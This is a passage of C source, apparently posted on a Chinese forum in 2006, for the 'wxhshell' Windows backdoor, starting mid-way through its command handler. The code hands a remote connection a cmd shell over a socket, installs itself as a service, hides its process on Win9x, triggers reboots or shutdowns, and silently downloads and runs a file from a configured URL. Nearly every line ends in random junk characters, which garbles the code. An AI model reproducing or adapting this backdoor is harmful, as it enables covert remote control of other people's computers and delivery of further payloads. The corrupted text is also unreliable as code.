  // 帮助 O0[.*xG  
  case '?': { 2|8e7q:+*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hx5t![g2K!  
    break; ckG`^<  
  } 9)}Nx>K  
  // 安装 vau0Jn%=ck  
  case 'i': { 3Uw}!>`%  
    if(Install()) {a;my"ly  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JI##l:,7r  
    else dz3chy,3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Kf# jZ  
    break; {]ie|>'=C  
    } MZ]#9/  
  // 卸载 ancs  
  case 'r': { ^UOVXRn  
    if(Uninstall()) tj7{[3~-[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _8]hn[  
    else f sRRnD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <_(UAv  
    break; KElzYZl8  
    } 99)md   
  // 显示 wxhshell 所在路径 3z5w}qN] M  
  case 'p': { W(.q. Sx>  
    char svExeFile[MAX_PATH]; M`{~AIqd(  
    strcpy(svExeFile,"\n\r"); %an"cQ ]  
      strcat(svExeFile,ExeFile); &Cv0oi&B  
        send(wsh,svExeFile,strlen(svExeFile),0); <O+T4.z  
    break; `0'Bg2'  
    } 2vbm=~)$F  
  // 重启 xd }g1c  
  case 'b': { cG{>[Lf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NFxs4:] RT  
    if(Boot(REBOOT)) z86[_l:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :jo !Yi  
    else { cVk&Yp;[*  
    closesocket(wsh); b9FfDDOq"  
    ExitThread(0); fdk]i/*)  
    } H & L  
    break; wd 86 y  
    } /-J12O  
  // 关机 $=) i{kGS@  
  case 'd': { <~D-ew^BU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $w%n\t>B  
    if(Boot(SHUTDOWN)) 57PoJ+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1T96W :   
    else { ~m@v ~=  
    closesocket(wsh); H! IL5@@K  
    ExitThread(0); GBMCw  
    } SI-G7e)3;>  
    break; H!uB&qY  
    } 'a1%`rzm  
  // 获取shell VkKq<`t<  
  case 's': { LNm{}VJ%  
    CmdShell(wsh); UTT7a"  
    closesocket(wsh); q4Z9;^S  
    ExitThread(0); 0uZ 'j  
    break; C B&$tDi  
  } Qqju6}+  
  // 退出 P01o:/}  
  case 'x': { F^knlv'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kWkAfzf4a  
    CloseIt(wsh); YTWlR]Tr6?  
    break; ~x}/>-d  
    } q].n1w [  
  // 离开 &tKr ?l  
  case 'q': { WcE{1&PXx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L!fiW`>0G  
    closesocket(wsh); 5yC$G{yV  
    WSACleanup(); HZ>8@AVa\  
    exit(1); WrzyBG_  
    break; ah1DuTT/G  
        } =[X..<bW9:  
  } 7-*QF>w<a  
  } IYb%f T  
YbX3_N&  
  // 提示信息 ]6#7TT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +vR$%  
} aVI%FycYo  
  } eJh4hp;x  
2`|1 !x  
  return; }\p>h  
} \Pv_5LAo  
^7cZ9/3  
// shell模块句柄 Ws_R S%  
int CmdShell(SOCKET sock)  @%8Xa7+  
{ o'9K8q\1  
STARTUPINFO si; kB`t_`7f  
ZeroMemory(&si,sizeof(si)); P[|FK(l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^g[,}t:/d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; / /ty] j  
PROCESS_INFORMATION ProcessInfo; ~[E@P1  
char cmdline[]="cmd"; ;a]Lxx;-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }digw(  
  return 0; .Fdqn?c|+  
} Q"2t :  
BPFd'- O)  
// 自身启动模式 UD 0v ia  
int StartFromService(void) [#}A]1N  
{ GQZLOjsop  
typedef struct ?k6P H"M  
{ t6zc$0-j "  
  DWORD ExitStatus; rkp 1tv  
  DWORD PebBaseAddress; bC[TLsh7{2  
  DWORD AffinityMask; %j '_I\  
  DWORD BasePriority; >,ThIwRN  
  ULONG UniqueProcessId; +@:$7m(V  
  ULONG InheritedFromUniqueProcessId; #1>DV@^F  
}   PROCESS_BASIC_INFORMATION; q(N2 #di  
|sa{!tKJ  
PROCNTQSIP NtQueryInformationProcess; N S^(5g  
Y5J}*`[Mr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,d^ze=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &3jq'@6  
[gZz'q&[)  
  HANDLE             hProcess; $?38o6  
  PROCESS_BASIC_INFORMATION pbi; d@ +}_R"c  
vY+{zGF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _.Ey_K_1  
  if(NULL == hInst ) return 0; =U:9A=uEvS  
vrS)VJg`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AixQR[Ul*c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 95`Q=I|i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tcovMn '  
Cfizh@<  
  if (!NtQueryInformationProcess) return 0; xjm|ewo  
 |7ga9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aY/msplC  
  if(!hProcess) return 0; $~#N1   
994   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ."N`X\  
x2P}8Idg?A  
  CloseHandle(hProcess); 3' HtT   
{I/|7b>@r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rZ.,\ X_  
if(hProcess==NULL) return 0; kh11Y1Q0d  
w|~d3]BqT  
HMODULE hMod; a6UW,n"n  
char procName[255]; s_`PPl_D$K  
unsigned long cbNeeded; mLa0BIP  
&e#>%0aS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <NIg`B@'s  
/ 7EeM{,~  
  CloseHandle(hProcess); 3YtFO;-  
;n-)4b]\  
if(strstr(procName,"services")) return 1; // 以服务启动 #g.J,L  
P)7_RE*gY  
  return 0; // 注册表启动 /F>\-    
} x~7_`=}rO  
>DHpD?Pm!  
// 主模块 1P"akc  
int StartWxhshell(LPSTR lpCmdLine) `(SWE+m1g  
{ (thDv rT@2  
  SOCKET wsl; ?DAW~+,!7o  
BOOL val=TRUE; P'4oI0Bw  
  int port=0; jU4*fzsZI  
  struct sockaddr_in door; SvlS 4C  
b!>w4MPe  
  if(wscfg.ws_autoins) Install(); Ihe/P {t]J  
/+FZDRf!r  
port=atoi(lpCmdLine); fz)i9D@  
 Bld%d:i  
if(port<=0) port=wscfg.ws_port; b4_"dg~gK  
=:fFu,+{  
  WSADATA data;  T?!&a0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O2W EA  
?[[K6v}q{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4JF8S#8B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ri,8rf0u  
  door.sin_family = AF_INET; owYSR?aG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y0kDHG  
  door.sin_port = htons(port); oB3,"zY  
&hK5WP6whW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5kwDmJy  
closesocket(wsl); $gYy3y  
return 1; qO5.NIs  
} 1' #%U A  
ELF,T (  
  if(listen(wsl,2) == INVALID_SOCKET) { &"V%n  
closesocket(wsl); &FQ]`g3_@  
return 1; NNWbbU3wjh  
} $N7:;X"l  
  Wxhshell(wsl); @ 2mJh^cj  
  WSACleanup(); zTFfft<  
-0KQR{LI  
return 0; $ Cr? }'a  
"}uPz4  
} 7e,EI9?.  
R~-r8dWcw  
// 以NT服务方式启动 G$ l>By  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6B4s6  
{ 1dhp/Qh  
DWORD   status = 0; By3/vb)M5  
  DWORD   specificError = 0xfffffff; 5 =Os sAr  
Zi+>#kDV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~I0I#_$'P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B_u+$Odo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &Wj %`T{  
  serviceStatus.dwWin32ExitCode     = 0; .x__X3P>\  
  serviceStatus.dwServiceSpecificExitCode = 0; l}>gG[q!  
  serviceStatus.dwCheckPoint       = 0; /2,s-^  
  serviceStatus.dwWaitHint       = 0; sje}E+{[  
 E%g_O_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'ADaz75`*r  
  if (hServiceStatusHandle==0) return; E' p5  
%@<}z|.4  
status = GetLastError(); :#!m(s`  
  if (status!=NO_ERROR) ~rBeJZ  
{ %eoO3"//  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4m%RD&ZN  
    serviceStatus.dwCheckPoint       = 0; _ ?f~UvK  
    serviceStatus.dwWaitHint       = 0; U!@3['  
    serviceStatus.dwWin32ExitCode     = status; ]Y|Y?  
    serviceStatus.dwServiceSpecificExitCode = specificError; &`7tX.iMlh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (h0i2>K  
    return; {nH.  _  
  } JGaS`fKSk  
Sr_]R<?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e![|-m%  
  serviceStatus.dwCheckPoint       = 0; IX eb6j8  
  serviceStatus.dwWaitHint       = 0; f"h{se8C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a;p3Me7  
} OQ<|Xd I$  
$CaF"5}?Ke  
// 处理NT服务事件,比如:启动、停止 6MfjB@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uS3 s  
{ .K(IRWuw  
switch(fdwControl) zosJ=$L  
{ *Yk3y-   
case SERVICE_CONTROL_STOP: imdfin?=   
  serviceStatus.dwWin32ExitCode = 0; RdlcJxM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EEQW$W1@  
  serviceStatus.dwCheckPoint   = 0; /}?"O~5M"  
  serviceStatus.dwWaitHint     = 0; R1'bB"$  
  { ]}/LNO*L"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wK@k}d  
  } Mn(:qQo^&`  
  return; brN:Ypf-e  
case SERVICE_CONTROL_PAUSE: 4LYeacL B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iARIvhfdi  
  break; pg69mKZ$  
case SERVICE_CONTROL_CONTINUE: Qcu1&t\C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P@ '<OI  
  break; RE]u2R6Y  
case SERVICE_CONTROL_INTERROGATE: ,.u7([SGm  
  break; s OD>mc#%Y  
}; wy&s~lpV,7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  \p"`!n  
} b_*Y5"(*  
e:IUO1#  
// 标准应用程序主函数 =!_e(J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6\(wU?m'/  
{ %s~MfK.k  
MyZ@I7Fb,  
// 获取操作系统版本 ZbJzf]y:6  
OsIsNt=GetOsVer(); yG'5up  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XW6Ewrm=vT  
Y5fwmH,a-  
  // 从命令行安装 Ch607 i=  
  if(strpbrk(lpCmdLine,"iI")) Install(); uzL)qH$b  
#_{3W-35*  
  // 下载执行文件 HK>!%t0S  
if(wscfg.ws_downexe) { w">XI)*z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c@)k#/[[b  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^w4FqdGM  
} xZt]s3?  
~4o2!!^tI  
if(!OsIsNt) { <Yfk7Un  
// 如果时win9x,隐藏进程并且设置为注册表启动 XA} !  
HideProc(); ']1j M n  
StartWxhshell(lpCmdLine); )'(7E$d  
} gQf'|%)AJ  
else hA6!F#1  
  if(StartFromService()) uJ,>Y# ?  
  // 以服务方式启动 F+R4nFA  
  StartServiceCtrlDispatcher(DispatchTable); Oqeoh<y!\  
else xn(lkQ6Fm  
  // 普通方式启动 \I; lgz2  
  StartWxhshell(lpCmdLine); _*B]yz6z  
17[7)M88  
return 0; )BudV zg  
}
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只看该作者 1 发表于: 2006-10-10
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